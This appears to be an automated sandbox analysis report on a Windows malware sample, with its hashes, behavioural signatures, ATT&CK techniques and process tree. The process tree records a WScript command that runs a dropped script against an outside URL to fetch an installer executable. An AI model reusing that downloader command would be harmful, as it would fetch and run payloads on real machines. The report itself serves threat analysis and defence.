ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875

Analysis

max time kernel
152s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2022, 05:51

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General

Target

ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe
Size

184KB
MD5

02ac4c1c82a006f1ad477e04122b6584
SHA1

c344256ff5777e3883f145b232c9fda33c1f0ed3
SHA256

ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875
SHA512

4ddb36316e93e4004a4a9015973c25660cedcd7ebf7f04986b5e526f43655def95d287548abd134fc1d7a5d0aa843374890bd0a85f759d8325d44f1a6ddbb263
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3e:/7BSH8zUB+nGESaaRvoB7FJNndn3

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
3	4764	WScript.exe
14	4764	WScript.exe
29	4764	WScript.exe
31	4964	WScript.exe
32	4964	WScript.exe
37	4964	WScript.exe
38	4964	WScript.exe
39	4964	WScript.exe
46	4964	WScript.exe
51	4964	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4820 wrote to memory of 4764	4820	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe	81
PID 4820 wrote to memory of 4764	4820	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe	81
PID 4820 wrote to memory of 4764	4820	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe	81
PID 4820 wrote to memory of 4964	4820	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe	83
PID 4820 wrote to memory of 4964	4820	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe	83
PID 4820 wrote to memory of 4964	4820	ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe	83

C:\Users\Admin\AppData\Local\Temp\ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe
"C:\Users\Admin\AppData\Local\Temp\ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufD892.js" http://www.djapp.info/?domain=HZmWdxdueb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufD892.exe
  2⤵
  - Blocklisted process makes network request
  PID:4764
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufD892.js" http://www.djapp.info/?domain=HZmWdxdueb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fufD892.exe
  2⤵
  - Blocklisted process makes network request
  PID:4964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufD892.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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